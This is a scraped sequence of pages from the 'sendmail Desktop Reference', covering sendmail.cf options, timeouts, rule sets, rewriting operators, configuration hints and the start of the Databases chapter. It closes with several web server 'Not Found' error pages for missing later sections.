Specifies the unquoted space replacement character char. (Was the B option, see §34.8.5, or define confBLANK_SUB with the m4 technique.)

CheckAliases=[True|False]

(safe) tells sendmail to check the right side of aliases in the aliases file in addition to the normal left side checks. (Was the n option, see §34.8.6, or define confCHECK_ALIASES with the m4 technique.)

CheckpointInterval=number

(safe) states the number of recipients that will be delivered between checkpoints (flushes to disk) of the qf file. (Was the C option, see §34.8.7, or define confCHECKPOINT_INTERVAL with the m4 technique.)

ClassFactor=factor

Sets the multiplication factor for calculating priority increments. (Was the z option, see §34.8.8, or define confWORK_CLASS_FACTOR with the m4 technique.)

ColonOkInAddr=[True|False]

(safe) tells sendmail to allow colons in addresses, thus disabling recognition of :; list addresses - DECnet :: is always allowed (see §34.8.9, or define confCOLON_OK_IN_ADDR with the m4 technique).

ConnectionCacheSize=number

Stipulates the number of simultaneous open SMTP connections sendmail will maintain during delivery. (Was the k option, see §34.8.10, or define confMCI_CACHE_SIZE with the m4 technique.)

ConnectionCacheTimeout=duration

Stipulates the duration of time any given open, but when idle, SMTP connection will be maintained. (Was the K option, see §34.8.11, or define confMCI_CACHE_ TIMEOUT with the m4 technique.)

ConnectionRateThrottle=number

Specifies the maximum number of incoming connections that will be accepted per second. Additional connections are accepted progressively more slowly (see §34.8.12, or define confCONNECTION_ RATE_THROTTLE with the m4 technique).

DaemonPortOptions=option=value[,option=value,...]

Sets the daemon TCP/IP port options. Available options are: Addr is the network to accept connections from; Family is the type of network; Listen is the size of the listen(2) queue; Port is the port on which sendmail should listen; ReceiveSize is the size of the TCP/IP receive buffer; and SendSize is the size of the TCP/IP send buffer. (Was the O option, see §34.8.13, or define confDAEMON_ OPTIONS with the m4 technique.)

DefaultCharSet=set

(safe) Defines the character set that will be listed in the Content-Type: header, for MIME 8- to 7-bit conversion (see §34.8.14, or define confDEF_CHAR_ SET with the m4 technique).

DefaultUser=user[:group]

Specifies the default non-root identity for sendmail. The user may be a numeric uid or a login name. If group is omitted, user is looked up in the passwd(5) database, and that gid is used. Otherwise, group may be a numeric gid or a group name. (Was the u and g options, see §34.8.15, or define confDEF_ USER_ID with the m4 technique.)

DeliveryMode=mode

(safe) sets the delivery mode that sendmail will run as. Select mode from: background to run asynchronously; interactive to run synchronously; queue-only to queue, rather than deliver, all mail; or deferred to queue all mail without doing any DNS lookups. (Was the d option, see §34.8.16, or define confDELIVERY_MODE with the m4 technique.)

DialDelay=interval

(safe) specifies how long to sleep after a connection failure. If non-zero, sleeps that interval then tries again (see §34.8.17, or define confDIAL_DELAY with the m4 technique).

DontExpandCnames=[True|False]

Prevents CNAME expansion when looking up MX records (see §34.8.18, or define confDONT_ EXPAND_CNAMES with the m4 technique).

DontInitGroups=[True|False]

Suppresses use of the initgroups(3) call to look up additional group memberships (see §34.8.19, or define confDONT_INIT_GROUPS with the m4 technique).

DontPruneRoutes=[True|False]

Prevents sendmail from short-circuiting source routes. (Was the R option, see §34.8.20, or define confDONT_PRUNE_ROUTES with the m4 technique.)

DoubleBounceAddress=address

Specifies the address to which an error message should be sent if there is an error sending an error message (see §34.8.21, or define confDOUBLE_BOUNCE_ADDRESS with the m4 technique).

EightBitMode=how

(safe) specifies how to convert unlabeled MIME input. Select from: mimify to force conversion of 8BITMIME to 7-bit; pass to pass unlabeled 8-bit input through as-is; or strict to reject unlabeled 8-bit input. (Was the 8 option, see §34.8.22, or define confEIGHT_BIT_HANDLING with the m4 technique.)

ErrorHeader=description

(safe) specifies text or a file's contents to insert at the top of bounced messages. If the description starts with a slash, it is taken as the full pathname of a file, otherwise the description is taken as literal text. The text is macro-expanded during interpolation. (Was the E option, see §34.8.23, or define confERROR_MESSAGE with the m4 technique.)

ErrorMode=mode

(safe) specify mode of error handling. Select from: m to mail error notification to the sender no matter what; e to act just like m, but to always exit with a zero exit status; p to print error messages (the default); q to remain silent about all delivery errors; or w to write errors to the sender's terminal screen. (Was the e option, see §34.8.24, or define confERROR_ MODE with the m4 technique.)

FallbackMXhost=host

Specifies the host to send mail to when all connections to the actual MX hosts have failed. (Was the V option, see §34.8.25, or define confFALLBACK_MX with the m4 technique.)

ForkEachJob=[True|False]

Causes queue files to be processed individually to lessen the impact on small-memory machines. (Was the Y option, see §34.8.26, or define confSEPARATE_PROC with the m4 technique.)

ForwardPath=file[:file:...]

Sets the ~/.forward search path. Each file name is macro-expanded, then tried. Each is tried in turn until one can be read, whereupon it is the ~/.forward for that local recipient. (Was the J option, see §34.8.27, or define confFORWARD_PATH with the m4 technique.)

HelpFile=file

Specifies the location of the file that contains help messages for the SMTP (and ESMTP) HELP command, and usage for the -bt rule-testing command. (Was the H option, see §34.8.28, or define HELP_FILE with the m4 technique.)

HoldExpensive=[True|False]

Tells sendmail to queue rather than deliver messages that will be delivered by "expensive" delivery agents (those with an F=e flag set). (Was the c option, see §34.8.29, or define confCON_ EXPENSIVE with the m4 technique.)

HostsFile=file

Specifies an alternative for the /etc/hosts file (see §34.8.30, or define confHOSTS_FILE with the m4 technique).

HostStatusDirectory=directory

Specifies the directory in which sendmail should store persistent host status. If specified, this also enables the keeping of that status. A relative name is relative to the queue directory (see §34.8.31, or define confHOST_STATUS_DIRECTORY with the m4 technique).

IgnoreDots=[True|False]

(safe) tells sendmail to ignore leading dots in the message body. (Was the i option, see §34.8.32, or define confIGNORE_DOTS with the m4 technique.)

LogLevel=level

(safe) sets the logging level, where a level of:
0-6 logs progressively less serious problems;
7 logs delivery failures;
8 logs delivery successes;
9 logs deferred delivery;
10-11 logs database and nis lookups;
12 logs SMTP connects;
13 logs questionable permissions;
14 logs connection refusals;
15 logs all incoming and outgoing SMTP commands;
and 16-98 logs progressively more detailed debugging
information.
On the command line, you can only increase the logging level.
(Was the L option, see §34.8.33,
or define confLOG_LEVEL with the m4 technique.)

MatchGECOS=[True|False]

Enables so called "Fuzzy" matching of the recipient in the gecos field of the passwd(5) database. (Was the G option, see §34.8.34, or define confMATCH_ GECOS with the m4 technique.)

MaxDaemonChildren=number

Specifies maximum number of children that sendmail will fork to process inbound connections. Does not limit forked children that process the queue (see §34.8.35, or define confMAX_DAEMON_CHILDREN with the m4 technique).

MaxHopCount=number

Sets the maximum number of times a message may be relayed through mail-handling sites (the maximum hop count). (Was the h option, see §34.8.36, or define confMAX_HOP with the m4 technique.)

MaxMessageSize=size

Specifies the maximum size (in bytes) of an incoming message that sendmail will accept (see §34.8.37, or define confMAX_MESSAGE_SIZE with the m4 technique).

MaxQueueRunSize=number

(safe) specifies the maximum number of queued messages that sendmail will process from a queue in a given queue run (see §34.8.38, or define confMAX_QUEUE_RUN_SIZE with the m4 technique).

MeToo=[True|False]

(safe) causes a copy of the message to be sent to the sender too, when the sender is one of the recipients listed in an alias or mailing list. (Was the m option, see §34.8.39, or define confME_TOO with the m4 technique.)

MinFreeBlocks=number

(safe) defines minimum number of free disk blocks that must be available when a message's size is stated with the SIZE keyword to the ESMTP MAIL command. (Was the b option, see §34.8.40, or define confMIN_FREE_BLOCKS with the m4 technique.)

MinQueueAge=interval

(safe) skips processing of a queued file if the last time it was processed is sooner than the interval specified (see §34.8.41, or define confMIN_ QUEUE_AGE with the m4 technique).

MustQuoteChars=characters

Allows sendmail to quote nonaddress characters in an address, as required by RFC822 (see §34.8.42).

NoRecipientAction=how

(safe) specifies how to handle the situation of no recipients being specified in the header (as would be the case when all recipients were specified in Bcc: headers). Select from: add-apparently-to, which adds an Apparently-To: header; add-bcc, which adds an empty Bcc: header; add-to, which adds an empty To: header; add-undisclosed, which adds a To: undisclosed-recipients:; header; or none, which passes the message unchanged (see §34.8.43, or define confNO_RCPT_ACTION with the m4 technique).

OldStyleHeaders=[True|False]

(safe) causes sendmail to insert commas between the recipients listed in a space-delimited list of recipients. (Was the o option, see §34.8.44, or define confOLD_STYLE_HEADERS with the m4 technique.)

OperatorChars=characters

Sets token-separation operators to the list of characters given. (Was the $o macro, see §34.8.45, or define confOPERATORS with the m4 technique.)

PostmasterCopy=address

Enables the user, whose email address is given, to receive an extra copy of every bounce message. (Was the P option, see §34.8.46, or define confCOPY_ERRORS_TO with the m4 technique.)

PrivacyOptions=option[,option,...]

(safe) increases privacy and security of the daemon. Each option adds to earlier options. Select from: authwarnings, which enables X-Authentication-Warning: headers; needexpnhelo, which requires SMTP HELO before EXPN; needmailhelo, which requires SMTP HELO before MAIL; needvrfyhelo, which requires SMTP HELO before VRFY; noexpn, which disables all SMTP EXPN commands; novrfy, which disables all SMTP VRFY commands; and goaway, which enables all the preceding. Also select from: public, which means none of the preceding; restrictmailq, which restricts who may run mailq(1); restrictqrun, which restricts who may process the queue; and noreceipts, which disables sending of return-receipt mail. (Was the p option, see §34.8.47, or define confPRIVACY_ FLAGS with the m4 technique.)

QueueDirectory=pathname

Specifies the full pathname of the queue directory. (Was the Q option, see §34.8.48, or define QUEUE_DIR with the m4 technique.)

QueueFactor=factor

Sets the factor for high-load queuing. When a message is received, the decision to deliver or to queue it is based on the formula:

priority > QueueFactor /
   (load - QueueLA + 1)

If the priority of the message is greater than the result of this formula, where load is the current load average, the message is delivered. (Was the q option, see §34.8.49, or define confQUEUE_FACTOR with the m4 technique.)

QueueLA=load

Specifies the load average above which queue runs will be skipped. This is also used in the formula shown above for QueueFactor. (Was the x option, see §34.8.50, or define confQUEUE_LA with the m4 technique.)

QueueSortOrder=how

(safe) specifies how to presort the queue. Select from: host to sort by recipient host, lock status, and priority; priority for a simple sort of the message priorities; or time to sort based on submission time (see §34.8.51, or define confQUEUE_ SORT_ORDER with the m4 technique).

QueueTimeout=interval

Limits the life of a queued message to the interval specified. The first delivery failure after that interval is exceeded causes the message to bounce. (Was the T option; deprecated, use the Timeout.queuereturn option instead.)

RecipientFactor=factor

Penalizes large recipient lists by multiplying the number of recipients by this factor when determining a message's priority. (Was the y option, see §34.8.53, or define confWORK_RECIPIENT_FACTOR with the m4 technique.)

RefuseLA=load

Tells sendmail to refuse incoming SMTP connections when the load average exceeds this specified load. (Was the X option, see §34.8.54, or define %confREFUSE_LA with the m4 technique.)

ResolverOptions=arg [arg ...]

Tunes DNS lookups by specifying an arg, or args, such as: +AAONLY, which turns on the AAONLY name server option (Authoritative Answers Only); and -DNSRCH, which turns off the DNSRCH name server option (search the domain path). (Was the I option, see §34.8.55, or define confBIND_OPTS with the m4 technique.)

RetryFactor=increment

Sets the amount to increment a job's priority each time a message fails to be delivered. (Was the Z option, see §34.8.56, or define confWORK_ TIME_FACTOR with the m4 technique.)

RunAsUser=user[:group]

Runs sendmail as a user other than root. The user may be a numeric uid or a login name. If group is omitted, user is looked up in the passwd(5) database and the primary gid is used. Otherwise, group may be a numeric gid or a group name (see §34.8.57, or define confRUN_AS_USER with the m4 technique).

SafeFileEnvironment=pathname

Sets the pathname to a directory that is safe for file writes. The sendmail program does a chroot(2) to that directory before writing to files. Also prevents writing to other than plain files, with the exception of /dev/null (see §34.8.58, or define confSAFE_ FILE_ENV with the m4 technique).

SaveFromLine=[True|False]

Prevents sendmail from removing UNIX mailbox-style From lines from input. (Was the f option, see §34.8.59, or define confSAVE_FROM_LINES with the m4 technique.)

SendMimeErrors=[True|False]

(safe) Tells sendmail it may return error messages (bounced mail notifications) in MIME format. (Was the j option, see §34.8.60, or define confMIME_ FORMAT_ERRORS with the m4 technique.)

ServiceSwitchFile=file

Specifies the location of the switched-services file. Under Solaris, DEC OSF/1, and Ultrix, this option is ignored, and the system file automatically used. A switch-services file defines how and in what order services, such as alias, host, and user information, will be looked up (see §34.8.61, or define confSERVICE_SWITCH_FILE with the m4 technique).

SevenBitInput=[True|False]

(safe) Forces sendmail to clear the high-bit of each byte of a message's body that it reads. (Was the 7 option, see §34.8.62, or define confSEVEN_ BIT_INPUT with the m4 technique.)

SingleLineFromHeader=[True|False]

(safe) Tells sendmail to strip all newline characters from From: headers (see §34.8.63).

SingleThreadDelivery=[True|False]

Ensures that only a single sendmail will ever be delivering to a given host at a given time. Requires that the HostStatusDirectory option be set (see §34.8.64, or define confSINGLE_THREAD_ DELIVERY with the m4 technique).

SmtpGreetingMessage=$j Sendmail $v ready at $b

Specifies the SMTP greeting message. (Was the $e macro, see §34.8.65, or define confSMTP_ LOGIN_MSG with the m4 technique.)

StatusFile=file

Specifies the location of the statistics file (usually sendmail.st preceded by an appropriate path). (Was the S option, see §34.8.66, or define STATUS_FILE with the m4 technique.)

SuperSafe=[True|False]

(safe) Ensures additional reliability by forcing all messages to be queued, even if they could be directly delivered. (Was the s option, see §34.8.67, or define confSAFE_QUEUE with the m4 technique.)

TempFileMode=mode

Sets the default permissions (in octal) for created temporary files. (Was the F option, see §34.8.68, or define confTEMP_FILE_MODE with the m4 technique.)

TimeZoneSpec=zone

Sets the time zone to that specified. If zone is absent, imports the TZ variable from the environment. If the entire option is missing, the default is to unset the TZ environmental variable and use the system default. (Was the t option, see §34.8.69, or define confTIME_ZONE with the m4 technique.)

Timeout.event=interval

Sets the timeout for an event to the interval specified. See the section "The Timeout Option" for details.

TryNullMXList=[True|False]

Tells sendmail to connect directly to the A record for a host when the best MX record points to this host. (Was the w option, see §34.8.71, or define confTRY_NULL_MX_LIST with the m4 technique.)

UnixFromLine=format

Defines the format for the UUCP-style From line. (Was the $l macro, see §34.8.72, or define confFROM_LINE with the m4 technique.)

UnsafeGroupWrites=[True|False]

Tells sendmail to check group write permissions on files that it is taking addresses from, and to reject those files (and hence the addresses) when such group write permissions are found (see §34.8.73, or define confUNSAFE_GROUP_WRITES with the m4 technique).

UseErrorsTo=[True|False]

(safe) Allows error notification to be sent to the address listed in the Errors-To: header in addition to that sent to the envelope sender. (Was the l option, see §34.8.74, or define confUSE_ ERRORS_TO with the m4 technique.)

UserDatabaseSpec=file

Specifies the location of the database file that will be used for User Database lookups. (Was the U option, see §34.8.75, or define confUSERDB_SPEC with the m4 technique.)

Verbose=[True|False]

(safe) Causes sendmail to run in verbose mode. (Was the v option, see §34.8.76.)

Previous: 2.5 Class Macros | sendmail Desktop Reference | Next: 2.7 The Timeout Option
2.5 Class Macros |  | 2.7 The Timeout Option


[Chapter 2] 2.7 The Timeout Option

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.6 Options Chapter 2
The sendmail.cf File 		Next: 2.8 Rule Sets

2.7 The Timeout Option

The Timeout option is used to set many internal timeouts. Its general form looks like this:

OTimeout.event=interval

Here we describe each event. Each interval is represented by an integer followed by a unit of time: s for seconds; m for minutes; h for hours; d for days; and w for weeks. They may be chained, as for example:

3d22h4s

sets an interval of 3 days, 22 hours, and 4 seconds.

Timeout.command=interval

Sets the maximum interval of time to wait for arrival of the next anticipated SMTP command (see §34.8.70.1, or define confTO_COMMAND with the m4 technique).

Timeout.connect=interval

Sets the maximum interval to wait for the connect(2) system call to return (see §34.8.70.2, or define confTO_CONNECT with the m4 technique).

Timeout.datablock=interval

Sets the maximum interval to wait for each DATA block read to complete (see §34.8.70.3, or define confTO_DATABLOCK with the m4 technique).

Timeout.datafinal=interval

Sets the maximum interval to wait for acknowledgment of the final dot that terminates the DATA phase (see §34.8.70.4, or define confTO_DATAFINAL with the m4 technique).

Timeout.datainit=interval

Sets the maximum interval to wait for acknowledgment of the SMTP DATA command (see §34.8.70.5, or define confTO_DATAINIT with the m4 technique).

Timeout.fileopen=wait

Specifies how long to wait for an NFS-mounted file to open (see §34.8.70.6, or define confTO_ FILEOPEN with the m4 technique).

Timeout.helo=interval

Sets the maximum interval to wait for acknowledgment of the SMTP HELO or EHLO commands (see §34.8.70.7, or define confTO_HELO with the m4 technique).

Timeout.hoststatus=interval

Specifies the interval for which persistent host status should be considered still valid (see §34.8.70.8, or define confTO_HOSTSTATUS with the m4 technique).

Timeout.iconnect=interval

Sets the maximum interval to wait for the first connect(2) system call to complete (see §34.8.70.9, or define confTO_ICONNECT with the m4 technique).

Timeout.ident=interval

Sets the maximum interval to wait for the RFC1413 identification protocol to complete (see §34.8.70.10, or define confTO_IDENT with the m4 technique).

Timeout.initial=interval

Sets the maximum interval to wait for the initial SMTP greeting message (see §34.8.70.11, or define confTO_INITIAL with the m4 technique).

Timeout.mail=interval

Sets the maximum interval to wait for acknowledgment of the SMTP MAIL command (see §34.8.70.12, or define confTO_MAIL with the m4 technique).

Timeout.misc=interval

Sets the maximum interval to wait for acknowledgment of SMTP commands, other than those specifically mentioned here (see §34.8.70.13, or define confTO_MISC with the m4 technique).

Timeout.queuereturn[.[*|urgent|normal|\%non-urgent]]=interval

Sets the maximum interval to try to deliver a message. The first time it fails after this interval, it is bounced. Three optional keywords can follow to what is bounced. They correspond to values given in a message's Priority: header. The literal ".*" is a wildcard that encompasses all three keywords (see §34.8.70.14, or define one of confTO_ QUEUERETURN, confTO_QUEUERETURN_ NONURGENT, confTO_QUEUERETURN_NORMAL, or confTO_QUEUERETURN_URGENT with the m4 technique).

Timeout.queuewarn[.[*|urgent|normal|%non-urgent]]=interval

Causes a warning to be sent to the sender when a message is still undelivered after this interval. Three optional keywords can follow as described above (see §34.8.70.15, or define one of confTO_ QUEUEWARN, confTO_QUEUEWARN_NONURGENT, confTO_QUEUEWARN_NORMAL, or confTO_ QUEUEWARN_URGENT with the m4 technique).

Timeout.quit=interval

Sets the maximum interval to wait for acknowledgment of the SMTP QUIT command (see §34.8.70.16, or define confTO_QUIT with the m4 technique).

Timeout.rcpt=interval

Sets the maximum interval to wait for acknowledgment of the SMTP RCPT command (see §34.8.70.17, or define confTO_RCPT with the m4 technique).

Timeout.rset=interval

Sets the maximum interval to wait for acknowledgment of the SMTP RSET command (see §34.8.70.18, or define confTO_RSET with the m4 technique).

Previous: 2.6 Options | sendmail Desktop Reference | Next: 2.8 Rule Sets
2.6 Options |  | 2.8 Rule Sets


[Chapter 2] 2.8 Rule Sets

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.7 The Timeout Option Chapter 2
The sendmail.cf File 		Next: 2.9 Delivery Agent S= and R=

2.8 Rule Sets

Rule sets are declared in the configuration file by beginning a line with the letter S:

Snumber
Sname
Sname=number

Rule sets are identified either by number or symbolic name. When identified by name, a number is internally assigned by sendmail. An optional = and number may follow a name to force specific association of number to name.

Rule sets numbered 0 through 9 are reserved for sendmail's internal use. Addresses are rewritten by a specific sequence of rules numbered 0 through 4 (see Figure 2.1).

Figure 2.1: Sequence of rule sets; envelope (solid) versus header (dashed)

S3

Rewrites all addresses to prepare them for entry into the sequence for rule sets. It usually focuses on the host part of an address and detects the various forms of the local hostname, so that local delivery can take place (see §29.4).

S4

Undoes any special rewriting done by rule set 3. Rule set 4 is always last (see §29.5).

S0

Selects a delivery agent that determines the R= and S= rule sets. It also selects the recipient user (which is separately rewritten and placed into $u) and the recipient host (which is placed as-is into $h). (See §.29.6)

S1

Rewrites all sender addresses (see §29.9).

S2

Rewrites all recipient addresses (see §29.8).

S5

(Not shown in Figure 2.1.) Can select a new delivery agent (just like rule set 0). If the address is not matched in the aliases(5) database, it is passed to rule set 5. Addresses are given to rule set 5 before ~/.forward files are processed (see §29.7).

Previous: 2.7 The Timeout Option | sendmail Desktop Reference | Next: 2.9 Delivery Agent S= and R=
2.7 The Timeout Option |  | 2.9 Delivery Agent S= and R=


[Chapter 2] 2.9 Delivery Agent S= and R=

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.8 Rule Sets Chapter 2
The sendmail.cf File 		Next: 2.10 The check_ Rule Sets

2.9 Delivery Agent S= and R=

The S= rule set follows rule set 1 and rewrites the sender address; the R= rule set follows rule set 2 and rewrites the recipient address (see Figure 2.1 They are declared inside a delivery agent declaration like this:

S=set
S=eset/hset
R=set
R=eset/hset

When there is just a single set specified, it is the rule set used to rewrite both header and envelope addresses. When a slash is present, the rule set to the left rewrites the envelope and the one to the right, the headers. If any is missing or zero, that rewriting is skipped.

Any S= rule set may be expressed as:

number
name
name=number

When identified by name, a number is internally assigned by sendmail. An optional = and number may follow a name to force specific association of number to name.

Previous: 2.8 Rule Sets | sendmail Desktop Reference | Next: 2.10 The check_ Rule Sets
2.8 Rule Sets |  | 2.10 The check_ Rule Sets


[Chapter 2] 2.10 The check_ Rule Sets

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.9 Delivery Agent S= and R= Chapter 2
The sendmail.cf File 		Next: 2.11 Rules

2.10 The check_ Rule Sets

V8.8 sendmail has introduced a suite of named rule sets that have special internal meaning. If one of these rule sets does not exist, the address is accepted. If it exists and if the rule set returns anything other than an #error delivery agent, the message is accepted. Otherwise the message is rejected.

check_compat

Compares or contrasts each envelope sender and envelope recipient pair of addresses just before delivery, and validates based on the result. The workspace looks like this:

sender $| recipient

The sender address is separated from the recipient address by a single token that is the $| operator (see §29.10.4).

check_mail

Validates the sender-envelope address as given in the SMTP MAIL command. The workspace, on entry, contains a hostname that should be preprocessed by rule set 3 (see §29.10.1).

check_rcpt

Validates the recipient-envelope address as given in the SMTP RCPT command. The workspace, on entry, contains a hostname that should be preprocessed by rule set 3 (see §29.10.2).

check_relay

Validates incoming network connections and can be used if libwrap.a code was omitted from your release of sendmail. The workspace looks like this:

hostname $| IPnumber

The hostname is separated from the IP number by a single token that is the $| operator (see §29.10.3).

Previous: 2.9 Delivery Agent S= and R= | sendmail Desktop Reference | Next: 2.11 Rules
2.9 Delivery Agent S= and R= |  | 2.11 Rules


[Chapter 2] 2.11 Rules

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.10 The check_ Rule Sets Chapter 2
The sendmail.cf File 		Next: 2.12 Wildcard Operators in the LHS

2.11 Rules

Rules are declared in the configuration file with the R command:

RLHS tabs RHS [ tabs COMMENT]

Rules are composed of two parts separated by tab characters (an optional third part can follow the first two, also separated by tab characters, and it forms a comment that is ignored).

Each rule forms a do-while statement as shown in Figure 2.2 So long as the LHS evaluates to true, the RHS rewrites the current address in the workspace. LHS evaluation is done by matching wildcard expressions to addresses. RHS rewriting is done by positional substitution. In this chapter we describe the wildcard and positional operators that aid in the writing of rules (see §28.1).

Figure 2.2: The behavior of a rule

Previous: 2.10 The check_ Rule Sets | sendmail Desktop Reference | Next: 2.12 Wildcard Operators in the LHS
2.10 The check_ Rule Sets |  | 2.12 Wildcard Operators in the LHS


[Chapter 2] 2.12 Wildcard Operators in the LHS

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.11 Rules Chapter 2
The sendmail.cf File 		Next: 2.13 Positional Operators in the RHS

2.12 Wildcard Operators in the LHS

The LHS of a rule is compared to an address or to the result of rewriting by earlier rules. The comparison is case insensitive. To illustrate, consider passing the address hat@coat.org to this LHS:

$* @ $+ .ORG

The $* (match zero or more) will match hat, the @ will match exactly, the $+ (match one or more) will match coat, and the .ORG will match .org despite the case difference.

Wildcard operators match as little as possible in order to make the entire LHS match. For an address like a@b@c, the LHS $*@$+ will cause the $* to match the a.

$*

Matches zero or more tokens. Prefers zero, or the fewest possible, to satisfy an LHS match.

$+

Matches one or more tokens. Prefers one, or the fewest possible, to satisfy an LHS match.

$-

Matches exactly one token.

$@

Matches exactly zero tokens.

$=

Matches any word in a class. Words may be single-token (like coat) or multi-token (like coat.org).

$~

Matches any single token not in a class.

Previous: 2.11 Rules | sendmail Desktop Reference | Next: 2.13 Positional Operators in the RHS
2.11 Rules |  | 2.13 Positional Operators in the RHS


[Chapter 2] 2.13 Positional Operators in the RHS

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.12 Wildcard Operators in the LHS Chapter 2
The sendmail.cf File 		Next: 2.14 Other Operators in the RHS

2.13 Positional Operators in the RHS

The RHS rewrites by substitution. Wildcard operators in the LHS select the portions of the workspace to be passed to the RHS. The first wildcard is assigned to $1, the second to $2, and so on. Consider:

R$+@$*    $2!$1

 $1 $2

Here, an Internet address is rewritten in UUCP form. Note that there are only nine such positional operators, and that $0 is illegal.

Previous: 2.12 Wildcard Operators in the LHS | sendmail Desktop Reference | Next: 2.14 Other Operators in the RHS
2.12 Wildcard Operators in the LHS |  | 2.14 Other Operators in the RHS


[Chapter 2] 2.14 Other Operators in the RHS

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.13 Positional Operators in the RHS Chapter 2
The sendmail.cf File 		Next: 2.15 Operators that Return a Triple

2.14 Other Operators in the RHS

Other operators in the RHS aid in rewriting. The first two below are prefixes, which means they must be the first operator in the RHS to have the desired effect. The others are more complex and may appear anywhere in the RHS.

$:

When used as a prefix, proceeds directly to the next rule immediately after the RHS rewrite without trying the LHS again.

$@

When used as a prefix, causes the current rule set to immediately return the result of the RHS rewrite without trying the LHS again (the current rule set exits).

$> set tokens

Passes the tokens that follow through another rule set. The entire expression is replaced with the result of that subroutine call.

$[ host $]

Canonicalizes the hostname contained between this pair of operators. The result is placed into the workspace, and the operators dropped.

$( database key $: default $)

Looks up the key in the database (see Chapter 3, Databases).

Previous: 2.13 Positional Operators in the RHS | sendmail Desktop Reference | Next: 2.15 Operators that Return a Triple
2.13 Positional Operators in the RHS |  | 2.15 Operators that Return a Triple


[Chapter 2] 2.15 Operators that Return a Triple

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.14 Other Operators in the RHS Chapter 2
The sendmail.cf File 		Next: 2.16 Conditional Operators

2.15 Operators that Return a Triple

Rule sets 0 and 5 are special in that they allow you to select a delivery agent. Selecting a delivery agent means placing a "triple" in the RHS. The form of that triple looks like this:

$# agent $@ host $: user

The order is important; any other order will fail.

$# agent

Selects the delivery agent by symbolic name. If the name is error, the message is bounced (or deferred) and the nature of the $@ and $: changes.

$@ host

Selects the host to which the mail will be sent. The hostname is placed as-is into $h. For the error agent, this is the DSN return code (common codes are: 5.1.3 for illegal syntax, 5.1.1 for an address syntax error, 5.1.2 for an invalid hostname, or 5.7.1 for a security rejection; see RFC1893 and §30.5.2).

$: user

Specifies the name of the recipient user. For remote mail this may be a full address. For local mail it may be a login name. The user name is processed by rule set 2, then by the rule set indicated by the R= equate of the delivery agent, then by rule set 4, and the result placed into $u. For the error agent, this is the literal text of the error message. A three-digit SMTP error code can optionally prefix this text (see §30.5.2).

Previous: 2.14 Other Operators in the RHS | sendmail Desktop Reference | Next: 2.16 Conditional Operators
2.14 Other Operators in the RHS |  | 2.16 Conditional Operators


[Chapter 2] 2.16 Conditional Operators

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.15 Operators that Return a Triple Chapter 2
The sendmail.cf File 		Next: 2.17 Hints

2.16 Conditional Operators

Conditional operators allow text to be inserted that depends on the value in a macro. Conditional operators are never used in rules, but are often used in header definitions (see §31.6).

$?macro result $| alternate $.

If the macro has a value, the entire expression is replaced by result. Otherwise, the entire expression is replaced by alternate. For example:

From: $?x$x <$g>$|$g$.

Here, if $x has a value (the $?x), the entire expression becomes:

From: $x <$g>

Otherwise (the $|$g), it becomes:

From: $g

The $. is last and terminates the conditional expression. Conditional expressions may nest, but nesting is discouraged.

Previous: 2.15 Operators that Return a Triple | sendmail Desktop Reference | Next: 2.17 Hints
2.15 Operators that Return a Triple |  | 2.17 Hints


[Chapter 2] 2.17 Hints

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.16 Conditional Operators Chapter 2
The sendmail.cf File 		Next: 3. Databases

2.17 Hints

a new sendmail.cf file

Requires that you restart the sendmail daemon, or else the daemon will not know of the changes. Before installing a new configuration file be sure to test it with the -C command-line switch. When using -C for testing, also use -oQ/tmp.

$=w and MX records

Require that any host that lists your host as the best MX record be included in your hosts' $=w class declaration, or in your sendmail.cw file.

F=m and quotas

Don't combine well. If one user is over quota, /bin/mail cannot tell if one or all recipients of a multi-recipient message failed, so it exits in a way that causes sendmail to retry delivery to all the recipients over and over again. If you run quotas on the mail spool directory, try disabling the F=m flag for the local delivery agent.

Previous: 2.16 Conditional Operators | sendmail Desktop Reference | Next: 3. Databases
2.16 Conditional Operators |  | 3. Databases


[Chapter 3] Databases

sendmail Desktop Reference

sendmail Desktop ReferenceSearch this book
Previous: 2.17 Hints Chapter 3 Next: 3.2 Aliasing

3. Databases

Contents:
Support in Makefile
Aliasing
The ~/.forward file
:include: Files and Mailing Lists
The makemap Program
The K Command
Classes
Databases in Rules
The User Database
Hints

Database support in sendmail includes external files, internal symbol tables, and database-style hooks into processes. Databases support the common aliases and such m4 style features as mailertable and the User Database.

3.1 Support in Makefile

Some database support is always supplied as a part of sendmail (like dequote), while others require you to include support inside your Makefile when building sendmail. Support is added on the DBMDEF= line:

DBMDEF= -DNDBM

This line adds support for ndbm(3) database files (see §18.4.1). Some database formats, such as db, may require that you also add include file and library support:

INCDIRS=-I/usr/local/include/db
LIBS=   -ldb -lresolv

Here LIBS= had -ldb added (see §18.4.6), and INCDIR= show the path to the db include files (see §18.4.3).

-DHESIOD

Supports hesiod(3) for aliases only (see §18.8.10).

-DLDAPMAP

Supports ldap(3) white pages (see §18.8.15).

-DNDBM

Supports ndbm(3) database files (see §18.8.24).

-DNEWDB

Supports the Berkeley db(3) database (see §18.8.28).

-DNIS

Supports Sun's nis network services (see §18.8.29).

-DNISPLUS

Supports Sun's nisplus network services (see §18.8.30).

-DNETINFO

Supports NeXT's netinfo(3) (see §18.8.27).

Previous: 2.17 Hints | sendmail Desktop Reference | Next: 3.2 Aliasing
2.17 Hints |  | 3.2 Aliasing


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_03.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/smdref/ch03_04.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

